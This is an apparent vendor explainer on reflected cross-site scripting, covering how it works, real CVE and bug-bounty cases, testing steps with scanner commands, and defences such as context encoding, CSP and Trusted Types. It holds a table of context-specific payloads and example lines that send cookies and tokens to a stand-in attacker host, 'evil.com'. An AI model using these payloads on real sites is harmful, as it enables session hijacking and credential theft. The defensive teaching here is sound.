Reflected XSS (CWE-79) echoes attacker-controlled input into the HTTP response without sanitization, enabling session hijacking and phishing via crafted URLs.
TL;DR
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) — CVSS 8.2 on privileged endpointsReflected XSS — also called Type-1 or non-persistent XSS in the OWASP taxonomy — is an injection vulnerability (CWE-79, OWASP A03:2021) where the server reads attacker-controlled input and immediately echoes it back in the HTTP response without sanitization. The injected script executes in the victim's browser under the application's origin, inheriting its cookies, storage tokens, and same-origin DOM access.
Unlike stored XSS, the payload is never written to the server's data store. Every request is its own attack: the script exists only in the crafted URL, and when the HTTP cycle ends the payload vanishes. This property is also reflected XSS's primary limitation — exploitation requires the attacker to deliver the URL to the victim through phishing, shortened links, malicious ads, or open redirects on other domains.
The most frequent injection surfaces are URL query parameters (q, search, redirect, next, error), POST body fields in login and registration forms, HTTP headers such as Referer and User-Agent reflected in admin error pages, URL path segments in MVC frameworks, and JSON callback parameters in legacy JSONP APIs. In modern single-page applications, POST body reflection accounts for more than 40% of reflected XSS findings because most automated scanners only fuzz GET parameters.
The attack follows a three-step cycle: craft, reflect, execute.
The critical detail is the Content-Type: text/html response header. When the server returns the reflected input inside an HTML document, the browser parses it as markup. If the server returned Content-Type: application/json or text/plain, the same payload would be inert.
GET /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
Host: example.com
HTTP/1.1 200 OK
Content-Type: text/html
<p>Results for: <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>Encoding must match the injection context exactly. HTML entity encoding (<script>) stops body-context injection but does nothing for a javascript: URI inside an href attribute. A URL attribute context requires URL-encoding the value first, then HTML-encoding the full attribute — one encoding pass is never sufficient for all contexts.
Different injection contexts require different payload shapes. The same parameter can be exploitable or inert depending on where the server inserts it in the HTML response.
| Variant | Injection Context | Payload Shape | Escape Requirement |
|---|---|---|---|
| HTML body | <p>Hello [input]</p> | <script>alert(1)</script> or <img src=x onerror=alert(1)> | None — < and > unencoded |
| Double-quoted attribute | <input value="[input]"> | " onmouseover="alert(1) | Unencoded " in attribute |
| Single-quoted attribute | <input value='[input]'> | ' onfocus='alert(1) | Unencoded ' in attribute |
| JavaScript string | var x = "[input]"; | ";alert(1);// | Unencoded " inside JS string |
| URL / href attribute | <a href="[input]"> | javascript:fetch('https://evil.com/steal?t='+localStorage.token) | No scheme validation |
| Path segment | /profile/[input]/settings | [MVC route] → <script> via URL decode | Framework-dependent |
| HTTP header reflection | User-Agent in admin error page | <script>alert(1)</script> | Server reads raw header value |
| Referrer reflection | Referer in analytics dashboard | Standard HTML body payload | Attacker controls Referer via navigation |
Each variant can be tested with a context canary (xsstest"'<>) submitted to the reflection point. The canary output reveals which characters survive and which context the value lands in.
JavaScript string context injection is the most dangerous form of reflected XSS. A single unencoded " or \ breaks out of a string literal, enabling arbitrary code execution with no HTML tag required. Many WAFs that block <script> tags miss this vector entirely.
CVE-2024-0010 — Palo Alto Networks PAN-OS GlobalProtect (CVSS 8.2 HIGH)
The GlobalProtect Portal login page reflected a URL query parameter unsanitized into the portal HTML. An attacker who sent a crafted GlobalProtect URL to a corporate employee could steal the employee's authenticated VPN session cookie on click and pivot directly into the corporate network. CVSS 8.2 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) — higher than the theoretical 6.1 baseline because the endpoint is pre-authentication and the impacted session grants VPN access. Published January 2024. Advisory: security.paloaltonetworks.com/CVE-2024-0010.
HackerOne #3045455 — Autodesk Reflected XSS via SVG
Reflected XSS via an SVG file served directly with Content-Type: image/svg+xml from a user-controlled upload URL on an Autodesk subdomain. The attacker constructed a URL pointing to a previously uploaded SVG containing an onload handler. Visiting the URL caused the browser to load the SVG as an active document and execute the handler under Autodesk's origin. This pattern — reflected via file-serve endpoint rather than query parameter — evades most parameter-fuzzing scanners. Report: hackerone.com/reports/3045455.
HackerOne #3238607 — SSL VPN Reflected XSS (2025) Reflected XSS in a commercial SSL VPN authentication page: a URL parameter was echoed verbatim into the login form error message without encoding. The endpoint is pre-authentication, meaning no session cookie was needed to trigger the payload for any user who visited the crafted link. Post-authentication reflected XSS on VPN portals is a critical finding because it can be used to phish MFA codes or steal active VPN sessions.
CVE-2024-37383 — Roundcube Webmail SVG Animate (CVSS 6.1, CISA KEV)
While primarily a stored XSS via email HTML body, the attack delivery relied on the same reflected-XSS class of social engineering: the victim opens a malicious email and Roundcube reflects the unsanitized <animate> attribute value from the email DOM into the page without sanitization, executing JavaScript under the webmail origin. Added to CISA's Known Exploited Vulnerabilities catalog on 2024-10-24, with active exploitation against governmental organizations in the CIS region.
Enumerate reflection points: Every URL parameter, POST field, JSON property, and custom HTTP header that appears anywhere in the response is a candidate. Use Burp Suite's "Intruder" or passive scan to identify all reflected parameters automatically.
Submit the canary: Send xsstest"'<> as the parameter value. Examine the raw response (not the rendered page) for the canary.
Classify the context: Determine where the canary appears in the HTML:
| Canary output in response | Context | Next test |
|---|---|---|
<xsstest> — angle brackets encoded | HTML entity encoding active | Try " onmouseover= (attribute injection) |
Unmodified <>" | No encoding | Direct <script> or <img onerror=> |
Inside var x = "xsstest" | JS string context | ";alert(1);// |
Inside href="xsstest" | URL attribute context | javascript:alert(document.domain) |
Inside style="color:xsstest" | CSS context | expression(alert(1)) or close-tag escape |
Craft a context-appropriate payload: Use the minimal payload that achieves execution in the identified context. Test in an isolated browser session; confirm the alert or callback fires.
Verify POST reflection: Manually replay POST /login with the canary in each body field. Many scanners fuzz only GET parameters.
# Dalfox — reflected scan with OOB blind XSS callback
dalfox url "https://target.com/search?q=FUZZ" \
--blind https://your-oob-endpoint.com/xss \
--waf-evasion \
--output findings.json
# Dalfox — scan from Burp proxy log
dalfox file burp_export.xml --format burpBreachVex detects reflected XSS via two-pass canary echo + context-classified payload injection (HTML body / attribute / JS string contexts). The scan submits a canary to a broad bank of common parameters, classifies the reflection context using an encoding pre-screen, and launches a browser-confirmed payload injection only when the context is exploitable — cutting false positives and confirmation overhead substantially.
Encoding must match the exact injection context where the user input appears in the HTML. Using HTML entity encoding for a URL attribute context, or URL encoding for a JavaScript string context, provides no protection.
from markupsafe import escape
from urllib.parse import quote
import json
# HTML body / HTML attribute context
# Flask Jinja2: {{ user_input | e }} — auto-applied to all {{ expressions }}
safe_html = escape(user_input) # & " ' < > → HTML entities
# JavaScript string context (value placed inside <script> tags)
safe_js = json.dumps(user_input) # wraps in quotes, escapes " \ newlines
# URL parameter context (href, src, action)
safe_url = quote(user_input, safe='') # percent-encodes all non-safe chars
# Two-step: URL value inside HTML attribute
# Step 1: URL-encode the parameter value
# Step 2: HTML-encode the full attribute string
href_attr = f'href="{escape(f"/path?q={safe_url}")}"'// Node.js / Express — use a dedicated encoder, not manual string replacement
const { encode } = require('html-entities');
// HTML body context
res.send(`<p>${encode(req.query.q)}</p>`);
// JavaScript string context — JSON.stringify wraps and escapes
const safeForScript = JSON.stringify(req.query.q);
res.send(`<script>var query = ${safeForScript};</script>`);Modern frameworks auto-encode expressions by default. The risk comes from deliberately bypassing the default encoding.
// React — safe by default
const Search = ({ query }) => <p>Results for: {query}</p>;
// JSX auto-encodes: query = '<script>' → rendered as text, not markup
// DANGEROUS — disables encoding entirely:
<div dangerouslySetInnerHTML={{ __html: query }} />
// Use only with DOMPurify ≥ 3.4.0 if raw HTML is required:
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(query) }} />dangerouslySetInnerHTML in React, v-html in Vue, and [innerHTML] with bypassSecurityTrustHtml() in Angular all disable the framework's automatic encoding. If reflected input reaches any of these APIs without DOMPurify ≥ 3.4.0 sanitization first, the result is a direct reflected XSS.
A strict, nonce-based CSP blocks reflected XSS execution even when encoding fails or is bypassed. The nonce must be cryptographically random and unique per response.
Content-Security-Policy: default-src 'self';
script-src 'nonce-RANDOM_PER_REQUEST' 'strict-dynamic';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';'strict-dynamic' propagates the nonce's trust to all scripts dynamically loaded by nonce-trusted scripts. This eliminates the need to whitelist CDN domains — a critical gap, since CDN-hosted JSONP endpoints can bypass host-based allowlists entirely. Avoid 'unsafe-inline' and 'unsafe-eval' in any production CSP.
When reflected input is processed by client-side JavaScript and inserted into the DOM (a pattern common in SPA error pages and search result handlers), Trusted Types prevents the sink from accepting raw strings:
// Enable via CSP: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
});
// Safe: only TrustedHTML objects accepted
element.innerHTML = policy.createHTML(reflectedInput);
// Throws TypeError — prevents accidental raw string assignment:
element.innerHTML = reflectedInput;Input validation reduces attack surface but does not prevent XSS on its own — attackers routinely encode payloads to bypass validation while landing in a context that decodes them. Specific allowlist rules:
javascript: and data: URI schemes in parameters used in href or src attributesWhat is reflected XSS and how does it differ from stored XSS? Reflected XSS (Type-1, non-persistent) executes immediately when a victim visits an attacker-crafted URL — the payload is never stored server-side. Stored XSS persists in the database and fires for every subsequent visitor. Reflected XSS requires social engineering; stored XSS does not.
What is the CVSS score for reflected XSS?
Reflected XSS scores CVSS 6.1 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). On high-value pre-authentication endpoints like VPN portals (CVE-2024-0010: CVSS 8.2), the score rises because the impacted session grants network access.
Does reflected XSS bypass SameSite cookie protection? Yes. SameSite prevents cross-origin state-changing requests (CSRF). When the victim navigates directly to the attacker's URL, the browser performs a same-site navigation, SameSite allows the cookie, and the reflected script executes with full session access.
Can reflected XSS fire from a POST request? Yes. POST-based reflected XSS requires a form auto-submission gadget hosted by the attacker. Burp Suite's active scanner tests POST reflection; many open-source scanners fuzz GET parameters only.
How does CVE-2024-0010 (PAN-OS GlobalProtect) demonstrate reflected XSS? The GlobalProtect Portal reflected a URL parameter unsanitized into the login page HTML. An attacker who sent a crafted VPN URL to a corporate employee could steal the employee's VPN session cookie on click and pivot into the internal network. CVSS 8.2.
What is the difference between reflected XSS and DOM-based XSS? Reflected XSS requires the server to echo the payload in its response. DOM-based XSS occurs entirely client-side: the server response is clean, but the browser's own scripts read attacker-controlled input and write it to a dangerous sink without sanitization.
Does output encoding in the HTML body context protect URL attribute reflection?
No. Context matters: HTML entity encoding stops body-context injection but does not neutralize javascript: URIs in href attributes. Each context requires its own encoding method.
How does BreachVex detect reflected XSS? BreachVex detects reflected XSS via two-pass canary echo + context-classified payload injection (HTML body / attribute / JS string contexts). Execution is confirmed in a real browser.
What is the most reliable defense against reflected XSS?
Output encoding at the exact injection context is the primary defense. A nonce-based CSP (script-src 'nonce-RANDOM' 'strict-dynamic') acts as the second layer. Both controls are required for defense-in-depth.
Which parameters are most commonly exploited?
Search parameters (q, search, query), redirect parameters (next, return, redirect, url), and POST body fields on login/registration forms account for the majority of reflected XSS findings.
Reflected XSS (Type-1, non-persistent) executes immediately when a victim visits an attacker-crafted URL — the payload is never stored server-side. Stored XSS persists in the database and fires for every subsequent visitor. Reflected XSS requires social engineering (getting the victim to click a link); stored XSS does not.
Reflected XSS scores CVSS 6.1 Medium (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). The User Interaction:Required flag reflects that the victim must click the crafted link. On high-value endpoints (admin portals, OAuth redirects) the effective impact is higher.
Yes. SameSite prevents cross-origin state-changing requests (CSRF). It does not prevent XSS loaded via direct navigation: when the victim clicks the attacker's link, the browser navigates to that origin, SameSite allows the session cookie, and the reflected script executes with full session access.
Search query parameters (q, search, query), redirect parameters (next, return, redirect, url, callback), error message parameters, and POST body fields on login and registration forms account for the majority of reflected XSS. HTTP headers such as Referer and User-Agent reflected in admin dashboards or error pages are also common.
Yes. POST-based reflected XSS requires the victim's browser to submit the crafted form automatically, typically via a same-domain CSRF gadget or a self-submitting HTML page served by the attacker. Burp Suite's active scanner covers POST reflection; many automated tools miss it.
CVE-2024-0010 (CVSS 8.2 HIGH) affected the GlobalProtect Portal login page. A URL query parameter was reflected unsanitized into the portal HTML. An attacker could send a crafted GlobalProtect URL to a target employee, steal the employee's VPN session cookie on click, and pivot to the corporate network.
Reflected XSS requires the server to echo the payload in its HTTP response — the vulnerability exists server-side. DOM-based XSS occurs entirely in client-side JavaScript: the server response is clean, but the browser's own scripts read attacker-controlled input (URL hash, postMessage) and write it to a dangerous sink without sanitization.
No. Output encoding is context-specific. HTML body encoding (converting < and > to < and >) does not neutralize javascript: URIs in href attributes. A URL attribute context requires URL-encoding the parameter value first, then HTML-encoding the full attribute. Encoding mismatch is the most common reflected XSS root cause in frameworks that apply only one encoding pass.
BreachVex detects reflected XSS via two-pass canary echo + context-classified payload injection: first a canary string (xsstest"'<>) is submitted across a broad bank of common parameter names, the reflection context is classified (HTML body / attribute / JS string), then a context-appropriate payload is injected. Execution is then confirmed in a real browser.
Output encoding at the exact injection context is the primary defense — it prevents the browser from interpreting reflected input as code. A nonce-based CSP (script-src 'nonce-RANDOM' 'strict-dynamic') acts as a second layer that blocks execution even when encoding fails or is bypassed. Both controls are required for defense-in-depth.